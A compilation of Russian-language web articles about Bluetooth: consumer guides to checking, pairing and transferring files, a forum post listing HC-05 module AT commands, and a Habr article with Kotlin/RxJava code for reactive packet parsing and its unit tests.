1. Проверить, активирована ли функция блютус в устройстве. Если нет – активировать ее.
2. Перезагрузить компьютер и устройство bluetooth.
3. Переустановить драйверы блютус в компьютере.
… Есть ли в моем компьютере блютус
Встроенные модули «синего зуба» содержатся только в новых устройствах, в большинстве моделей они отсутствуют. Чтобы проверить, содержит ли компьютер модуль блютус, следует нажать кнопку «Пуск», выбрать «Панель управления» и в открывшемся окне найти значок «bluetooth». Если его нет – такой модуль в компьютере не установлен, однако можно воспользоваться блютус-адаптером.
… Как выбрать блютус
При выборе следует обратить внимание на технические характеристики – скорость передачи данных должна быть не ниже 50-60 Кбит/с, радиус действия – class 1 (до 100 м на открытом пространстве, а в квартире – до 30-40 м). Довольно удобным является адаптер mini-формата – он позволяет использовать близко расположенные USB разъемы.

Итак, вы сами видите, что пользоваться bluetooth очень просто. Для этого вполне достаточно наличия минимальных навыков обращения с мобильным телефоном и начального пользовательского уровня работы с ПК.

Вопросы?

www.lamer-stop.ru

Работа с Bluetooth модулем HC05 / Деталька / Сообщество EasyElectronics.ru

Недавно прислали этот модуль, решил попробовать его проверить.
Под катом небольшое описание, даташит, программа-терминалка и плата в формате .lay

Напряжение питания модуля: 3.3 В
Потребляяемый ток: 50 мА

Этот модуль может работать в 3-х режимах:
1) Master (или сервер) — в этом режиме модуль может сам подключиться к какому-нибудь Bluetooth девайсу.
2) Slave — в этом режиме другой мастер может подключиться к модулю.
3) Slave-loop — здесь модуль отправляет обратно все байты, которые ему прислали.

1. Режим Master
Для того, чтобы переключить BT модуль в этот режим, нужно:
1) Перевести модуль в режим приема AT команд, замкнув PIO11 на +3.3 V
2) Подключиться к UART’у модуля, настроить COM порт вот так:
Baudrate = 38400
StopBits = 1
DataBits = 8
Parity = none
Handshaking = none
И отправить ему команду:
AT+ROLE=1\r\n

После каждой успешно выполненной команды модуль отвечает:
OK\r\n

3) Подключить PIO11 к GND (автоматический режим). Модуль в режиме мастера.
1.1 Настройка автоматического подключения к BT девайсу по фиксированному адресу
Для этого нужно:
1) Перевести модуль в режим приема AT команд (см. пункт 1)
2) Переключить модуль в режим подключения к устройству с фиксированным адресом при помощи команды:
AT+CMODE=0\r\n

Задать фиксированный адрес устройства, к которому хотим подключиться, при помощи команды:
AT+BIND=27,13,bd95e4\r\n

«27,13,bd95e4» — для примера, это BT адрес моего ноута.

А теперь маленькая хитрость, как наиболее простым способом узнать этот адрес?
Отправляем модулю:

AT+RMAAD\r\n

Переключаемся в автоматический режим (см. пункт 1), модуль должен быть в режиме Slave, подключаемся к модулю тем устройством, BT адрес которого нужно узнать, отключаемся, переходим в режим АТ команд, отправляем команду:
AT+MRAD?\r\n

Получаем на выходе искомый адрес в виде: 27:13:bd95e4.

3) Снова возвращаемся в автоматический режим. Теперь модуль сам попытается подключиться к устройству по адресу 27:13:bd95e4.

2. Slave
Для переключения в этот режим отправим:
AT+ROLE=0\r\n

Если CMODE!=1, то
AT+CMODE=1\r\n
3. Slave Loop
AT+ROLE=2\r\n

Если CMODE!=1, то
AT+CMODE=1\r\n
4. Прочее
Тестовая команда:
AT

Перезагрузка:
AT+RESET

Версия:
AT+VERSION?

Сброс настроек:
AT+ORGL

Адрес модуля:
AT+ADDR?

Имя модуля:
AT+NAME=ElektroHabr\r\n

Получить имя BT девайса:
AT+RNAME?<АДРЕС>\r\n

Чтобы поменять пароль, делаем так:
AT+PSWD=1235

Настройки UART’a:
AT+UART=Baudrate,StopBit,Parity,\r\n

Baudrate может быть: 9600,19200,38400,57600,115200,230400,460800.
Parity == 0 == none
PIO порты:
AT+PIO=<номер порта>,<состояние 1/0>

Управлять этими портами через BT нельзя!
BT модуль запоминает адреса устройств, которые к нему когда-либо подключались, чтобы удалить какой-нибудь адрес, делаем так:
AT+PMSAD =1234,56,abcdef\r\n

Чтобы удалить все адреса, делаем так:
AT+RMAAD\r\n

Чтобы посмотреть адрес наиболее часто подключаемого устройства, шлем модулю:
AT+MRAD?\r\n

Чтобы посмотреть, есть ли по близости девайс который модуль «запомнил», шлем модулю:
AT+FSAD=<adress>\r\n

Количество устройств в памяти:
AT+ADCN?\r\n

Состояние модуля:
AT+STATE?\r\n

Подключиться к какому-нибудь девайсу:
AT+LINK=1234,56,abcdef\r\n

Отключиться:
AT+DISC=<adress>\r\n

Это не все команды, я еще не разобрался с остальными.

В прикрепленном архиве программа для отправки AT команд и даташит на модуль.
Программа написана на C#, поэтому может заработает на linux с установленным Mono.

Печатку обязательно нужно отзеркалить!
Метализированные отверстия — переходные, на другой стороне платы земляная дорожка.
Резисторы и керамические конденсаторы размера 1206.
PS: Почему TL431 и 2N3904?
Потому что очень хотелось испытать этот модуль 🙂

Библиотека HC04 для Diptrace

we.easyelectronics.ru

Реактивная работа с Bluetooth в реальных условиях / Habr

Небольшое предисловие, или в чем же боль

В последнее время я активно работаю над приложениями, которые имеют модули работы с Bluetooth по не-очень-хорошо спроектированным протоколам с кастомными устройствами, что периодически добавляет мне интересных угу, как же проблем.

Поскольку я искренний фанат реактивности в приложениях, то такие проблемы приходилось решать собственными силами, поскольку решений в сети просто нет. Совсем. О получившейся архитектуре работы с Bluetooth-устройствами я и хотел бы вам рассказать.


Опасности на пути джедая

Первый важный момент, о котором должен помнить разработчик, при работе с Bluetooth – пакеты могут повреждаться по пути. А еще – они могут сопровождаться шумом. И это не один случай из миллиона, подобные явления могут встречаться довольно часто, и их нужно обрабатывать. Еще блютус может отключиться, или не подключиться, или сделать вид что подключился, но на самом то деле мы знаем, что это ничего не значит…

В качестве примера решения этих задач, спроектируем микро-фреймворк для процессинга эвентов, которые детерминируются по типам с помощью шапки (первые N байт) и валидируются с помощью какой-нибудь простенькой чек-суммы. Для того, чтобы не загромождать код, примем допущение, что шапка по протоколу имеет фиксированный размер. Все пакеты же разделим на два типа: с фиксированной длиной, и с динамической, передаваемой отдельным байтом.


Проектирование

Начнем с описания возможных эвентов в приложении. Итак, общая абстракция будет выглядеть примерно так, с учетом принятых ограничений:

sealed class Event {

    val headSize: Int = 2

    abstract val head: ByteArray

    abstract fun isCorrupted(): Boolean

    //To be continued
}

Далее, когда мы определили наборы постоянных свойств для всех пакетов, требуется как-либо формализовать условия, при которых мы:


  1. Посчитаем, что пакет принадлежит какому-либо типу
  2. Должны добавить в буффер байт, так как пока что пакет не собирается
  3. Должны грохнуть буффер, так как какие-либо условия для его сборки не выполнились (этот пункт нужен скорее для подстраховки, лучше добавить туда логи во время тестирования приложения, чтобы проверять полноту остальных условий)
  4. Пробуем собрать пакет из буффера и проверяем его валидность

Данные четыре условия приводят нас к интерфейсу следующего вида:

interface EventMatcher {

    val headSize: Int

    fun matches(packet: ByteBuffer): Boolean

    fun create(packet: ByteBuffer): Event

    fun shouldBuffer(packet: ByteBuffer): Boolean

    fun shouldDrop(packet: ByteBuffer): Boolean
}

Создадим компонент, который будет предоставлять сказал бы, что удобный, но это оставлю на ваше усмотрение прокси-интерфейс к нашим матчерам для всех существующих типов, ничего выдающегося, код под катом:


Прокси-матчер
class EventMatchersAdapter {

    private val matchers = mutableMapOf<KClass<out Event>, EventMatcher>()

    fun register(event: KClass<out Event>, matcher: EventMatcher)
            = apply { matchers.put(event, matcher) }

    fun unregister(event: KClass<out Event>)
            = apply { matchers.remove(event) }

    fun knownEvents(): List<KClass<out Event>>
            = matchers.keys.toList()

    fun matches(packet: ByteBuffer, event: KClass<out Event>): Boolean
            = matchers[event]?.matches(packet) ?: false

    fun shouldBuffer(packet: ByteBuffer, event: KClass<out Event>): Boolean
            = matchers[event]?.shouldBuffer(packet) ?: false

    fun shouldDrop(packet: ByteBuffer, event: KClass<out Event>): Boolean
            = matchers[event]?.shouldDrop(packet) ?: false

    fun create(packet: ByteBuffer, event: KClass<out Event>): Event?
            = matchers[event]?.create(packet)
}

В пакетах опишем способ определения того, был данный пакет поврежден или нет. Это довольно удобный подход, который позволяет не сильно страдать из-за плохо спроектированного протокола, в котором инженеру вздумалось закинуть вам сотню способов проверки пакетов на корректность, для каждого по несколько.


Пример пакета с фиксированной длиной
data class A(override val head: ByteArray,
                 val payload: ByteArray,
                 val checksum: Byte): Event() {

        companion object {

            //(two bytes of head) + (2 bytes of payload) + (byte of checksum)
            @JvmStatic val length = 5.toByte()

            @JvmStatic val headValue = byteArrayOf(0x00, 0x00)

            @JvmStatic val matcherValue = object: EventMatcher {
                override val headSize: Int = 2

                override fun matches(packet: ByteBuffer): Boolean {
                    if(packet.position() == 0) return true
                    if(packet.position() == 1) return packet[0] == headValue[0]

                    return packet[0] == headValue[0]
                            && packet[1] == headValue[1]
                }

                override fun create(packet: ByteBuffer): A {
                    packet.rewind()

                    return A(
                            ByteArray(2, { packet.get() }),
                            ByteArray(2, { packet.get() }),
                            packet.get()
                    )
                }

                override fun shouldBuffer(packet: ByteBuffer): Boolean
                        = packet.position() < length

                override fun shouldDrop(packet: ByteBuffer): Boolean
                        = packet.position() > length
            }
        }

        override fun isCorrupted(): Boolean = checksumOf(payload) != checksum

        override fun equals(other: Any?): Boolean {
            if(other as? A == null) return false

            other as A

            return Arrays.equals(head, other.head)
            && Arrays.equals(payload, other.payload)
            && checksum == other.checksum
        }

        override fun hashCode(): Int {
            var result = Arrays.hashCode(head)
            result = result * 31 + Arrays.hashCode(payload)
            result = result * 31 + checksum.hashCode()
            return result
        }
    }

Пример пакета с динамической длиной
data class C(override val head: ByteArray,
                 val length: Byte,
                 val payload: ByteArray,
                 val checksum: Byte): Event() {

        companion object {

            @JvmStatic val headValue = byteArrayOf(0x01, 0x00)

            @JvmStatic val matcherValue = object: EventMatcher {
                override val headSize: Int = 2

                override fun matches(packet: ByteBuffer): Boolean {
                    if(packet.position() == 0) return true
                    if(packet.position() == 1) return packet[0] == headValue[0]

                    return packet[0] == headValue[0]
                        && packet[1] == headValue[1]
                }

                override fun create(packet: ByteBuffer): C {
                    packet.rewind()

                    val msb = packet.get()
                    val lsb = packet.get()
                    val length = packet.get()

                    return C(
                            byteArrayOf(msb, lsb),
                            length,
                            packet.take(3, length.toPositiveInt()),
                            packet.get()
                    )
                }

                override fun shouldBuffer(packet: ByteBuffer): Boolean
                        = when(packet.position()) {
                    in 0..2 -> true
                    else -> packet.position() < (packet[2].toPositiveInt() + 4) //increase by (2 bytes of head) + (1 byte of length) + (1 byte of checksum)
                }

                override fun shouldDrop(packet: ByteBuffer): Boolean
                        = when(packet.position()) {
                    in 0..2 -> false
                    else -> packet.position() > (packet[2].toPositiveInt() + 4) //increase by (2 bytes of head) + (1 byte of length) + (1 byte of checksum)
                }
            }
        }

        override fun isCorrupted(): Boolean = checksumOf(payload) != checksum

        override fun equals(other: Any?): Boolean {
            if(other as? C == null) return false

            other as C

            return Arrays.equals(head, other.head)
                    && length == other.length
                    && Arrays.equals(payload, other.payload)
                    && checksum == other.checksum
        }

        override fun hashCode(): Int {
            var result = Arrays.hashCode(head)
            result = result * 31 + length.hashCode()
            result = result * 31 + Arrays.hashCode(payload)
            result = result * 31 + checksum.hashCode()
            return result
        }
    }

Далее – от нас требуется описать сам алгоритм считывания пакетов, причем такой, который будет:


  1. Поддерживать несколько различных типов
  2. Разруливать повреждения пакетов за нас
  3. Будет дружить с Flowable

Реализация алгоритма скрытого за Subscriber интерфейсом:

class EventsBridge(private val adapter: EventMatchersAdapter,
                            private val emitter: FlowableEmitter<Event>,
                            private val bufferSize: Int = 128): DisposableSubscriber<Byte>() {

    private val buffers: Map<KClass<out Event>, ByteBuffer>
            = mutableMapOf<KClass<out Event>, ByteBuffer>()
            .apply {
                for(knownEvent in adapter.knownEvents()) {
                    put(knownEvent, ByteBuffer.allocateDirect(bufferSize))
                }
            }
            .toMap()

    override fun onError(t: Throwable) {
        emitter.onError(t)
    }

    override fun onComplete() {
        emitter.onComplete()
    }

    override fun onNext(t: Byte) {
        for((key, value) in buffers) {
            value.put(t)

            adapter.knownEvents()
                    .filter { it == key }
                    .forEach {
                        if (adapter.matches(value, it)) {
                            when {
                                adapter.shouldDrop(value, it) -> {
                                    value.clear()
                                }
                                !adapter.shouldBuffer(value, it) -> {
                                    val event = adapter.create(value, it)
                                    if (!emitter.isCancelled
                                            && event != null
                                            && !event.isCorrupted()) {
                                        release()
                                        emitter.onNext(event)
                                    } else {
                                        value.clear()
                                    }
                                }
                            }
                        } else {
                            value.clear()
                        }
                    }
        }
    }

    private fun release() {
        for(buffer in buffers) buffer.value.clear()
    }
}

Использование

Рассмотрим на примере прогонки unit-тестов:


Простенький тест на работу для одного типа пакета
@Test
    fun test_single_fixedLength() {
        val adapter = EventMatchersAdapter()
                .register(Event.A::class, Event.A.matcherValue)

        val packetA = generateCorrectPacketA()
        val testSubscriber = TestSubscriber<Event>()

        Flowable.create<Event>(
                { emitter ->
                    val bridge = EventsBridge(adapter, emitter)
                    Flowable.create<Byte>({ byteEmitter -> for(byte in packetA) { byteEmitter.onNext(byte) } }, BackpressureStrategy.BUFFER).subscribe(bridge)
                },
                BackpressureStrategy.BUFFER
        )
                .subscribe(testSubscriber)

        testSubscriber.assertNoErrors()
        testSubscriber.assertValue { event ->
            event is Event.A && !event.isCorrupted()
        }
    }

Тест с кучей шума, несколькими типами пакетов
@Test
    fun test_multiple_dynamicLength_mixed_withNoise() {
        val adapter = EventMatchersAdapter()
                .register(Event.C::class, Event.C.matcherValue)
                .register(Event.D::class, Event.D.matcherValue)

        val packetC1 = generateCorrectPacketC()
        val packetD1 = generateCorrectPacketD()
        val packetD2 = generateCorruptedPacketD()
        val packetC2 = generateCorruptedPacketC()

        val testSubscriber = TestSubscriber<Event>()

        val random = Random()

        Flowable.create<Event>(
                { emitter ->
                    val bridge = EventsBridge(adapter, emitter)
                    Flowable.create<Byte>({ byteEmitter ->
                        for(b in 0..100)      { byteEmitter.onNext(random.nextInt().toByte()) }
                        for(byte in packetC1) { byteEmitter.onNext(byte) }
                        for(b in 0..100)      { byteEmitter.onNext(random.nextInt().toByte()) }
                        for(byte in packetD1) { byteEmitter.onNext(byte) }
                        for(b in 0..100)      { byteEmitter.onNext(random.nextInt().toByte()) }
                        for(byte in packetD2) { byteEmitter.onNext(byte) }
                        for(b in 0..100)      { byteEmitter.onNext(random.nextInt().toByte()) }
                        for(byte in packetC2) { byteEmitter.onNext(byte) }
                        for(b in 0..100)      { byteEmitter.onNext(random.nextInt().toByte()) }
                    }, BackpressureStrategy.BUFFER).subscribe(bridge)
                },
                BackpressureStrategy.BUFFER
        )
                .subscribe(testSubscriber)

        testSubscriber.assertNoErrors()
        testSubscriber.assertValueCount(2)
    }

Генерация пакетов для тестов
private fun generateCorrectPacketB(): ByteArray {
        val rnd = Random()

        val payload = byteArrayOf(
                rnd.nextInt().toByte(),
                rnd.nextInt().toByte(),
                rnd.nextInt().toByte(),
                rnd.nextInt().toByte()
        )

        return byteArrayOf(
                Event.B.headValue[0],
                Event.B.headValue[1],
                payload[0],
                payload[1],
                payload[2],
                payload[3],
                checksumOf(payload)
        )
    }

    private fun generateCorrectPacketC(): ByteArray {
        val rnd = Random()

        val payload = List(rnd.nextInt(16), { index ->
            rnd.nextInt().toByte()
        }).toByteArray()

        return ByteArray(4 + payload.size, { index ->
            when(index) {
                0 -> Event.C.headValue[0]
                1 -> Event.C.headValue[1]
                2 -> payload.size.toByte()
                in 3..(4 + payload.size - 2) -> payload[index - 3]
                4 + payload.size - 1 -> checksumOf(payload)
                else -> 0.toByte()
            }
        })
    }

private fun generateCorruptedPacketB(): ByteArray {
        val rnd = Random()

        val payload = byteArrayOf(
                rnd.nextInt().toByte(),
                rnd.nextInt().toByte(),
                rnd.nextInt().toByte(),
                rnd.nextInt().toByte()
        )

        return byteArrayOf(
                Event.B.headValue[0],
                Event.B.headValue[1],
                payload[0],
                payload[1],
                payload[2],
                payload[3],
                (checksumOf(payload) + 1.toByte()).toByte()
        )
    }

    private fun generateCorruptedPacketC(): ByteArray {
        val rnd = Random()

        val payload = List(rnd.nextInt(16), { _ -> rnd.nextInt().toByte() }).toByteArray()

        return ByteArray(4 + payload.size, { index ->
            when(index) {
                0 -> Event.C.headValue[0]
                1 -> Event.C.headValue[1]
                2 -> payload.size.toByte()
                in 3..(4 + payload.size - 2) -> payload[index - 3]
                else -> (checksumOf(payload) + 1.toByte()).toByte()
            }
        })
    }

Простенькая чексумма, использованная для тестирования
inline fun checksumOf(data: ByteArray): Byte {
    var result = 0x00.toByte()
    for(b in data) {
        result = (result + b).toByte()
    }

    return (result.inv() + 1.toByte()).toByte()
}

И зачем все это было нужно?

На этом примере, мне хотелось бы показать, как легко и непринужденно можно поддерживать модульность при обработке почти что произвольных событий, к слову, не обязательно пришедших из Bluetooth источника (никакого Bluetooth-зависимого кода пока-что не было), при этом избегая возможных повреждений пакетов и зашумления канала связи.


И что дальше?

Сделаем небольшую обертку над RxBluetooth, которая позволит нам в реактивном стиле работать с различными подключениями, слушая различные наборы эвентов.

Весь код условно можно разделить на три набора компонент: два сервиса и один репозиторий.
Сервисы будут у нас предоставлять подключение и работу с данными по подключению соответственно, а репозиторий – предоставлять абстракцию для работы с конкретными подключениями и выступать в роли неявного flyweight-а подключений.

Интерфейсы будут примерно следующими:

interface ConnectivityService {

    fun sub(service: UUID): Observable<DataService>
}

interface DataService {

    fun sub(): Flowable<Event>

    fun write(data: ByteArray): Boolean

    fun dispose()
}

interface DataRepository {

    fun sub(serviceUUID: UUID): Flowable<Event>

    fun write(serviceUUID: UUID, data: ByteArray): Flowable<Boolean>

    fun dispose()
}

И, соответственно, реализации под катом


ConnectivityServiceImpl
class ConnectivityServiceImpl(private val bluetooth: RxBluetooth,
                              private val events: EventMatchersAdapter,
                              private val timeoutSeconds: Long = 15L): ConnectivityService {

    override fun sub(service: UUID): Observable<DataService> = when(bluetooth.isBluetoothEnabled && bluetooth.isBluetoothAvailable) {
        false -> Observable.empty()
        else -> {
            ensureBluetoothNotDiscovering()
            bluetooth.startDiscovery()
            bluetooth.observeDevices()
                    .filter { device -> device.uuids.contains(ParcelUuid(service)) }
                    .timeout(timeoutSeconds, TimeUnit.SECONDS)
                    .take(1)
                    .doOnNext { _ -> ensureBluetoothNotDiscovering() }
                    .doOnError { _ -> ensureBluetoothNotDiscovering() }
                    .doOnComplete {  -> ensureBluetoothNotDiscovering() }
                    .flatMap { device -> bluetooth.observeConnectDevice(device, service) }
                    .map { connection -> DataServiceImpl(BluetoothConnection(connection), events) }
        }
    }

    private fun ensureBluetoothNotDiscovering() {
        if(bluetooth.isDiscovering) {
            bluetooth.cancelDiscovery()
        }
    }
}

DataServiceImpl
class DataServiceImpl constructor(private val connection: BluetoothConnection,
                                  private val adapter: EventMatchersAdapter): DataService {

    override fun sub(): Flowable<Event> = Flowable.create<Event>({ emitter ->
        val underlying = EventsBridge(adapter = adapter, emitter = emitter)

        emitter.setDisposable(object: MainThreadDisposable() {
            override fun onDispose() {
                if(!underlying.isDisposed) {
                    underlying.dispose()
                }
            }
        })

        connection.observeByteStream().subscribe(underlying)
    }, BackpressureStrategy.BUFFER)

    override fun write(data: ByteArray): Boolean
         = connection.send(data)

    override fun dispose()
        = connection.closeConnection()
}

DataRepositoryImpl
class DataRepositoryImpl(private val connectivity: ConnectivityService): DataRepository {

    private val services = ConcurrentHashMap<UUID, DataService>()

    override fun sub(serviceUUID: UUID): Flowable<Event>
            = serviceOf(serviceUUID)
            .flatMap { service -> service.sub() }

    override fun write(serviceUUID: UUID, data: ByteArray): Flowable<Boolean>
            = serviceOf(serviceUUID)
            .map { service -> service.write(data) }

    override fun dispose() {
        for((_, service) in services) {
            service.dispose()
        }
    }

    private fun serviceOf(serviceUUID: UUID): Flowable<DataService> = with(services[serviceUUID]) {
        when(this) {
            null -> connectivity.sub(serviceUUID).doOnNext { service -> services.put(serviceUUID, service) }.toFlowable(BackpressureStrategy.BUFFER)
            else -> Flowable.just(this)
        }
    }
}

И таким образом, в минимальное количество строк, мы получаем возможность делать то, что обычно растягивалось в жуткие цепочки вызовов, или коллбэк-хэлл примерно следующим образом:

repository.sub(UUID.randomUUID())
                .subscribeOn(Schedulers.io())
                .observeOn(AndroidSchedulers.mainThread())
                .subscribe { event ->
                    when(event) {
                        is Event.A -> doSomeStuffA(event)
                        is Event.B -> doSomeStuffB(event)
                        is Event.C -> doSomeStuffC(event)
                        is Event.D -> doSomeStuffD(event)
                    }
                }

11 строк для прослушки четырех событий от произвольного устройства, неплохо, не правда ли?)


Вместо заключения

Если у кого-то из читающих возникнет желание посмотреть на исходники – они лежат здесь.

Если кому-то захочется посмотреть, как впишутся другие правила для образования пакетов из сырых байт – пишите, попробуем добавить.

UPD: оформил в микро-фреймворк с опцинальными мостами в ReactiveX, корутины, а также чистой реализацией на Kotlin.

habr.com

что это, для чего нужно, как использовать

Протокол передачи данных bluetooth, что в переводе означает «голубой зуб», предназначен для передачи по радиоканалу цифровой информации между двумя точками, на короткие расстояния — порядка нескольких десятков метров. Особенностью использования данного способа обмена данными является необходимость первоначального «спаривания» гаджетов. То есть, на одном из двух сопрягаемых гаджетов необходимо включить функцию поиска. Когда же другой из этой пары будет обнаружен, необходимо будет ввести четырехзначный пин-код. После этого, возможно использование этой «связки» — будь то подключение мыши или соединение двух компьютеров между собой.

Подключение устройства с поддержкой Bluetooth к компьютеру

К стационарным компьютерам по блютуз подключаются в основном мышь, клавиатура или телефон (смартфон).  Иногда нужно подключить специализированный прибор — например автомобильный сканер, и тут тоже используется блютуз.

Процедура сопряжения всегда одна и та же: включаем… тот же сканер, например. Далее запускаем поиск устройств блютуз и после того, как в списке доступных увидим наш сканер, вводим пин-код. Пин-код обычно указывают в инструкции, чаще всего это — «0000» или «1234».

Как пользоваться bluetooth, параметры подключения блютуз под ОС Windows 7 и все доступные настройки находятся во вкладке «Панель управления» — «Устройства и принтеры». Верхняя часть открывшейся панели описывает принтеры, подключенные к данному компьютеру, а вот в части «устройства» как раз и показываются все девайсы, с которыми хоть раз «спаривался» данный PC по протоколу bluetooth.

Как передавать и принимать файлы по Bluetooth

После сопряжения по блютуз двух компьютеров или компьютера с планшетом (смартфоном), становится возможной передача файлов между ними. Для этого достаточно выбрать нужный файл и с помощью меню, использовать функцию «передать по блютус».

Как пользоваться блютузом на ноутбуке

Пользоваться bluetooth на ноутбуке следует так же, как и на стационарном компьютере. Но сначала необходимо проверить, включен ли сам блютуз порт. Если нет, то включить его с помощью комбинации «горячих клавиш»: Fn и какой-то из клавиш F1-F10. Короче —  необходимо внимательно изучить инструкцию к ноутбуку, даже в том случае, если вы его еще не сломали.

Как пользоваться блютузом в мобильном телефоне

Порт bluetooth есть практически в любом мобильном телефоне или смартфоне. А вот современные планшеты не всегда оснащаются этим устройством. Поэтому, если предполагается подключение к планшету дополнительных устройств — например, gps треккера, необходимо еще до покупки девайса проверить его комплектацию и выяснить наличие в нем блютус.

Итак, как пользоваться блютузом на телефоне — по шагам:

  • включить на телефоне поиск всех доступных по блютус устройств;
  • определить из полученного списка нужное;
  • ввести пин-код;
  • готово!

Главное, это понять принцип работы протокола блютуз, а его реализация практически всегда одинакова.

posetke.ru

Добавить комментарий

Ваш адрес email не будет опубликован.